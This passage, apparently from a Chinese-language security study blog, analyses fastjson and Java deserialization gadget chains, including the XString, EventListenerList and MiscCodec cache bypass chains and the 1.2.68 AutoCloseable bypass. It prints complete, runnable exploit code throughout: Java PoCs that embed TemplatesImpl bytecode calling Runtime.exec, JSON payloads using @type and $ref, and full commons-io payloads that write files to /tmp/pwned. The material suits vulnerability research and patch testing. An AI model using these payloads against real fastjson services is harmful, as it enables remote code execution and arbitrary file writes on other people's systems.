Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); //通过此处来设置的0组和1组
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(map, "table", tbl);
return map;
}
}
|
现在下断点看看怎么调用的

然后循环走一遍来到第二个putVal方法,此时的map就是我们改的第二个带XString的那个map

然后这里就是调用了equals方法了,注意这里的key值为 HotSwappableTargetSource

跟进可以看见这里是XString了,然后后面调用toString成功触发
直接打XString
前面我们可以看到最后调用了XString的equals方法,我们也可以直接调用XString的equals方法
1
|
HashMap.readObject() -> XString.equals() -> toString()
|
利用CC7链的思想,我们不难想到直接用hashmap的readObject来调用equals方法
高版本的话就加个ArrayList之类就行了
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class XStringAttack3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
XString xString = new XString("xxx");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("zZ", jsonArray);
hashMap1.put("yy", xString);
hashMap2.put("zZ", xString);
hashMap2.put("yy", jsonArray);
HashMap evilMap = makeMap(hashMap1, hashMap2);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(evilMap);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
setFieldValue(map, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); //通过此处来设置的0组和1组
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(map, "table", tbl);
return map;
}
}
|
这里与前面不同的点在于把中间的HotSwappableTargetSource
替换了,为了满足equals的判断,得进行hash碰撞,因此这里用到CC7链里学过的yy和zZ的hashcode相同来碰撞,我们这里下断点调试一下
调试
先是第一个进hashmap的put方法,可以看到zZ赋值为jsonarray

同理第二个也是yy赋值XString类,我们跟到putVal方法里面的equals方法

这里只进行了yy和zZ的比较返回false,没什么好看的,接下来就是第二个hashmap进去

与hashmap1不同的是我们这里给zZ赋值为XString,yy赋值为jsonarray,等这第二个map创建完,我们再跟进equals方法,会发现这个时候进的不是原来那个比较key值的了,而是AbstractMap类的equals方法

观察下面的变量值

对应到上面代码,当前的value值是我们的map2的,类型为XString,接下来就是调equals触发toString,而当前这行代码的equals参数里面的m就是我们前面创建好的map1,其中的key取的是zZ,但是不同于我们当前map2的zZ,这个值是jsonarray,所以前面的代码是那样写的:
1
2
3
4
|
hashMap1.put("zZ", jsonArray);
hashMap1.put("yy", xString);
hashMap2.put("zZ", xString);
hashMap2.put("yy", jsonArray);
|
为了保证调用的key值相同,到这里就分析完了
到toString的调用栈如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
toString:857, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:472, AbstractMap (java.util)
putVal:634, HashMap (java.util)
readObject:1397, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:46, XStringAttack3
|
EventListenerList链
eventListenerList的readObject方法可以直接调用toString方法
1
|
EventListenerList.readObject() -> tostring
|
先看看EventListenerList的readObject方法

这里调用了add方法,对字符串进行操作,肯定会调用toString方法

这里的t
如果不是l
的子类,就会抛出异常,来字符拼接触发toString,注意t和l的类型
t必须是class类型,而l必须为EventListener类型或者能强转成EventListener的类型,这样使得我们的jsonarray直接传传不进去,明显l可控,现在我们查找实现了EventListener类的类来包装恶意fastjson类
Ctrl+H查看层次结构,也就是接口的实现

这里找到这个UndoManager类继承了UndoableEditListener,而UndoableEditListener又继承了EventListener
然后看这个类的toString方法

用到的limit
和indexOfNextAdd
都是int类型的,没法利用,看super.toString,进到CompoundEdit
类的toString方法


edits是vector类型的,跟到vector类看看能不能利用,同样有toString方法,调用了super.toString,我们看看父类的实现

创建了一个stringbuilder类,然后调用了append方法

然后是valueOf

到这里我们的利用链子就清晰了
1
|
EventListenerList.readObject() -> UndoManager.tostring -> Vector.toString -> AbstractCollection.toString -> obj.toString
|
中间部分大概这样写
1
2
3
4
5
6
|
EventListenerList listenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = new Vector();
vector.add(jsonArray);
setFieldValue(undoManager, "edits", vector);
setFieldValue(listenerList, "listenerList",new Object[]{HashMap.class,undoManager});
|
先在vector数组里面填入我们的恶意jsonarray,给前面的可控变量edits赋值为这个,最后是我们的eventlistenerlist


其实要修改listenerList,而且它的类型是Object数组,直接设定类型为hashmap,其实随便设定为能继承seriazable接口的类就行了,所以有的payload设定为InternalError.class
但是我们这样写会报错,原因是找不到edits,注意我们这一行
1
|
setFieldValue(undoManager, "edits", vector);
|
找的是undoManager的edits,但是实际跟进edits却在CompoundEdit
类里面
改一下代码
1
2
3
4
5
6
7
8
|
EventListenerList listenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = new Vector();
vector.add(jsonArray);
Field edit = CompoundEdit.class.getDeclaredField("edits");
edit.setAccessible(true);
edit.set(undoManager,vector);
setFieldValue(listenerList, "listenerList",new Object[]{HashMap.class,undoManager});
|
或者写一个函数获取edits
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
|
然后调用函数
1
2
3
4
5
|
EventListenerList listenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray);
setFieldValue(listenerList, "listenerList", new Object[]{InternalError.class, undoManager});
|
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Vector;
public class EventAttack {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
EventListenerList listenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = new Vector();
vector.add(jsonArray);
Field edit = CompoundEdit.class.getDeclaredField("edits");
edit.setAccessible(true);
edit.set(undoManager,vector);
setFieldValue(listenerList, "listenerList",new Object[]{HashMap.class,undoManager});
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(listenerList);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
fastjson $ref调用getter方法
学习这个是为了方便学习1.2.68的漏洞
在Fastjson>=1.2.36时,可以用$ref的方式调用任意getter
$ref
$ref是fastjson里的引用,引用之前出现的对象
语法 |
描述 |
{“$ref”:”$”} |
引用根对象 |
{“$ref”:”@”} |
引用自己 |
{“$ref”:”..”} |
引用父对象 |
{“$ref”:”../..”} |
引用父对象的父对象 |
{“$ref”:”$.members[0].reportTo”} |
基于路径的引用 |
先写的Test类,包含setter和getter方法
1
2
3
4
5
6
7
8
9
10
11
12
|
public class Test {
private String cmd;
public String getCmd() throws Exception {
Runtime.getRuntime().exec(cmd);
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
}
|
测试ref的代码,这里ref也要写单独的json,用来引用数组中第一个元素的内容,所以用数组包裹了
1
2
3
4
5
6
7
8
9
10
|
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class refTest {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);
}
}
|
方便测试,所以把autoType开了
调试
跟进parse方法

会调用handleResovleTask方法,跟进去看逻辑

先判断ref的值是否是$
开头,这里显然是,然后进到eval方法

这里进到jsonpath的eval,先用compile封装了一下,继续跟eval

init进行初始化,然后segments就是前面init初始话后得到的数组(里面的内容实际上就是cmd),循环数组元素执行eval

我们的path不为*
所以,创建了一个jsonpathparser,调用了explain方法

这里的readSegement跟进去会跟据.
和/
分字符,所以最后得到的segment是cmd
然后继续跟进segment的eval方法

跟进getPropertyValue方法

调用getJavaBeanSerializer获取序列化器之后,调用了getFieldValue方法
再跟就是跟fastjson的toJSONString后面一样了,这里的序列化器是ASMSerializer



最终反射调用getter
利用$ref打TemplatesImpl
这里要版本要<=1.2.47才行,要用MiscCodec缓存绕过,因为1.2.36版本早就把TemplatesImpl加入黑名单了,而这个trick在1.2.48被修复了
MiscCodec缓存绕过
参考:FastJson各版本绕过分析 | CurlySean’s Blog
首先是1.2.24版本后对调用的类有限制,会调用checkautoType来检查,然后这个1.2.47前的版本都是有一个缓存查找类的过程
1
2
3
4
5
6
7
8
9
10
11
12
|
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
|
读取缓存时,是从mappings
中寻找,所以我们需要寻找,在什么地方将类存入mappings
的
1
2
3
|
public static Class<?> getClassFromMapping(String className) {
return mappings.get(className);
}
|
我们找到的可控的方法,为TypeUtils#loadClass
方法
这代表的是,如果之前加载过这个类,就放入缓存中,下次加载的时候直接从缓存中拿出
1
2
3
4
5
6
7
8
9
10
11
|
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}
Class<?> clazz = mappings.get(className);
......
return clazz;
}
|
然后找哪个地方调用了loadClass
方法,找到的可利用方法为MiscCodec#deserialze
在clazz等于Class.class的情况下,会调用loadClass
1
2
3
4
5
6
7
8
9
|
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
......
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
......
}
|
这个MiscCodec
是什么呢,它继承了ObjectSerializer
与ObjectDeserializer
,是一个序列化/反序列化器
所以我们可以加载Class.class
,使用MiscCodec
反序列化器,调用loadClass
,将类名传入,并放入缓冲区中
当我们再次对类进行加载的时候,就直接从缓存中返回类
实现
第一步 反序列化一个Class类,值为恶意类
第二步 接着用之前的payload
加载第一个Class类时候设置类为Class类,后面的参数名就叫val
即可,若不为它就会报错
第二个类直接使用之前payload即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;
public class MiscCodecAttack {
public static void main(String[] args) throws Exception {
final String TEM_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
byte[] bytecode = generatePayload();
String evilCode = Base64.getEncoder().encodeToString(bytecode);
String payload = "[{\"@type\":\"java.lang.Class\",\"val\":\"" + TEM_CLASS + "\"},{\"@type\":\"" + TEM_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],\"_name\":\"hajimi\",\"_tfactory\":{},\"_outputProperties\":{}}]";
// System.out.println(payload);
JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
这里用的是[]
,其实用{}
也行
所以前面的$ref
就能这样写,我们最终调用的是getoutputProperties方法,所以ref后面的就是outputProperties
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;
public class MiscCodecAttack {
public static void main(String[] args) throws Exception {
final String TEM_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
byte[] bytecode = generatePayload();
String evilCode = Base64.getEncoder().encodeToString(bytecode);
String payload = "[{\"@type\":\"java.lang.Class\",\"val\":\"" + TEM_CLASS + "\"},{\"@type\":\"" + TEM_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],\"_name\":\"hajimi\",\"_tfactory\":{}},{\"$ref\":\"$[1].outputProperties\"}]";
// System.out.println(payload);
JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
这里无需设置_outputProperties
字段,因为我们用ref调用了getoutputProperties,之前设置这个字段的原因是需要调用getoutputProperties使返回值类型继承map来满足fastjson调用getter方法的条件
fastjson 1.2.68版本漏洞分析及commons-io写文件
参考:fastjson 1.2.68漏洞分析及commons-io写文件 | Godown_blog
前面说过1.2.47之前的版本能用MiscCodec缓存绕过checkautoType检测,而1.2.48进行了修复
TypeUtils.loadClass加了一个cache判断

然后上面定义的bool值cache默认为false

直接阻断了cache提前加载恶意类的攻击链路
1.2.68有新的方法来绕过,可使用expectClass
去绕过checkAutoType()
检测机制,主要使用Throwable
和 AutoCloseable
来绕过
在1.2.68
版本下,更新了一个新的安全控制点 safeMode
,如果开启的话,将在checkAutoType()
直接抛出异常。从赋值可以看出,如果设置了@type
就会抛出异常,开了safemode的直接打不了fastjson

这个safemode默认是false,所以不用管,然后接着往下看这个版本checkautoType的实现

可以看到还是getClassFromMapping方法从mapping读取类,然后要满足expectClass下面的那些条件,直接返回class,这里的条件是expectClass类不为空,获取的typeName不是hashmap,expectClass不是typeName的父类或者与他相同(其实就是expectClass是typeName的子类)
在mappings初始化的时候,其中put了很多类,包括Exception和AutoCloseable,我们后续的攻击都是基于这两个接口

所以有没有办法控制expectClass来绕过判断直接返回我们的class呢,我们查找谁调用了checkautoType,因为
expectClass就是checkautoType的第二个参数,我们要找到同样有参的方法

查找用法发现JavaBeanDesrtializer.deserialze和ThrowableDeserializer.deserialze都调用了带期望类参数的checkAutoType
前者是fastjson默认反序列化器,后者是针对异常类的反序列化器
由于缓存mappings的白名单是Exception,正好Exception是Throwable子类,所以我们如果调用实现了Exception类的类,就可以绕过
ThrowableDeserializer
在fastjson中,先是DefaultJSONParser.parse调用ParserConfig.checkAutoType检查和获取类,然后再是获取反序列化器调用deserialze

如果这里deserializer是ThrowableDeserializer,并且下一个key为@type
的话,就会再次调用checkAutoType,但是这里是Throwable.class作为expectClass

如果我们这里传的第一个参数exClassName是恶意的实现了Throwable子类,就能命令执行。
由于缓存mappings的白名单是Exception,正好Exception是Throwable子类,那实现Exception就能绕过,不过目前没有实现Exception的库类可以进一步利用,如果有写文件的功能的话就能利用了
可以写入一个类继承Exception
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public class EvilException extends Exception{
private String command;
public void setCommand(String command) {
this.command = command;
try {
Runtime.getRuntime().exec(command);
}
catch (Exception e) {
e.printStackTrace();
}
}
}
|
payload
1
2
3
4
5
|
{"x":
{"@type":"java.lang.Exception",
"@type":"EvilException",
"command":"calc"},
}
|
JavaBeanDeserializer
ThrowableDeserializer#deserialze调用的checkAutoType中向期望类传参是固定的,为Throwable.class
JavaBeanDeserializer#deserialze的expectClass参数是用户可控的

其中这个type来自deserialze的参数传入

然后这里的expectClass选择为AutoCloseable,前面提到AutoCloseable为mappings白名单里面的类,而且用到AutoCloseable的很多,其中包括了输入ObjectInput和输出ObjectOutput接口
于是出现了输入流转输出流写文件,输出流转输入流读文件的操作
现在我们的问题是怎么找到AutoCloseable的子类来进行输入流和输出流的互转?
我们知道fastjson对方法的调用还是要落实到setter、getter和构造方法上的
给出写文件的利用条件:
- 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream(作为输出文件流)
- 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream(作为一个OutputStream转为另一个OutputStream的桥梁)
- 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 flush 方法(用于将缓冲区中的数据写入目标输入流)
下面介绍通用的写文件手法:
Commons-io 2.x写文件
先导入依赖
1
2
3
4
5
|
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
|
commons-io包中的XmlStreamReader方法

参数中接收一个InputStream参数,下面用BufferedInputStream包装它,最后调用了doHttpStream方法
这个BufferedInputStream我们看看是啥

首先是继承了FilterInputStream,然后看看构造函数

调用了父类的构造器

接着看doHttpStream的实现,调用了下面的链子到达read方法
1
2
3
4
5
6
|
XmlStreamReader.doHttpStream ->
BOMInputStream.getBOMCharsetName ->
BOMInputStream.getBOM ->
BufferedInputStream.read ->
BufferedInputStream.fill ->
InputStream.read(byte[], int, int)
|
BufferedInputStream.fill
这里先是调用了getInIfOpen将输入流类型改成InputStream再调用的read方法


所以使用XmlStreamReader方法能调用任意InputStream的read方法
commons-io包中的ReaderInputStream方法

接受一个Reader对象作为参数
然后看它本身的read方法

调用了fillBuffer方法

然后这里调用了Reader的read方法,如果这里我们传入的是commons-io包的CharSequenceReader类

它的read方法会循环调用无参的read写到array里面,然后看无参read

无参read每次返回charSequence(构造函数传入的参数)一个字符
所以fillBuffer 方法在这里的主要功能是从 CharSequenceReader 中读取字符并填充到 encoderIn 缓冲区,然后通过 encoder 将字符编码为字节并存储在 encoderOut 缓冲区中。
输入字符串用ReaderInputStream存储如下,由于ReaderInputStream实际上是创了个Buffer来存储流,构造函数需要传Buffer创建需要的参数:
1
2
3
4
5
6
7
8
9
10
|
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
},
"charsetName":"UTF-8",
"bufferSize":1024
}
|
commons-io包的TeeInputStream类

接收InputStream和OutputStream作为参数
接着看它的read方法

read方法调用了OutputStream.write,OutputStream 的 write 方法用于将数据写入输出流。
至此,我们可以实现XmlStreamReader+TeelInputStream调用write任意InputStream输出到OutputStream
但是现在只能写字符串,怎么将输出流变文件流呢?
OutputStream 输出到文件
还是commons-io包里面的WriterOutputStream类

看它的write方法

调用了flushOutput方法

接着调用了Writer.write
跟前面分析流程一样,这里找到FileWriterWithEncoding类,如果这里的Writer是FileWriterWithEncoding


构造函数接收File作为参数,然后这里有个initWriter初始化了一个OutputStreamWriter,封装了FileOutputStream

FileWriterWithEncoding.write->OutputStreamWriter.write->StreamEncoder.write
现在我们串一下利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
存储char到InputStream
XmlStreamReader.doHttpStream ->
BOMInputStream.getBomCharsetName ->
BOMInputStream.getBom ->
BufferedInputStream.read ->
BufferedInputStream.fill ->
ReaderInputStream.read ->
ReaderInputStream.fillBuffer ->
CharSequenceReader.read读字符串
输出InputStream到OutputStream到文件
XmlStreamReader.doHttpStream ->
BOMInputStream.getBomCharsetName ->
BOMInputStream.getBom ->
BufferedInputStream.read ->
BufferedInputStream.fill ->
TeeInputStream.read ->
WriterOutputStream.write ->
WriterOutputStream.flushOutput ->
FileWriterWithEncoding.write ->
StreamEncoder.write ->
StreamEncoder.implWrite ->
StreamEncoder.writeBytes写文件
|
最后写文件这里的StreamEncoder.implWrite有个缓存的问题

这里缓冲区,也就是Underflow要满才能进到writeBytes方法

默认缓冲区大小是8192
但是传入的BufferedInputStream一块只有4096

利用$ref可以多次调用StreamEncoder.implWrite向同一个缓冲区写入流数据,直到overflow写文件
poc
commons-io在2.0-2.6和2.7-2.8版本之间各文件的构造函数参数名有些许不同
2.0-2.6版本POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
{
"x": {
"@type": "com.alibaba.fastjson.JSONObject",
"input": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"branch": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger2": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger3": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
}
}
}
|
2.7-2.8版本POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
|
{
"x": {
"@type": "com.alibaba.fastjson.JSONObject",
"input": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start": 0,
"end": 2147483647
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"branch": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"charsetName": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger2": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger3": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
}
}
|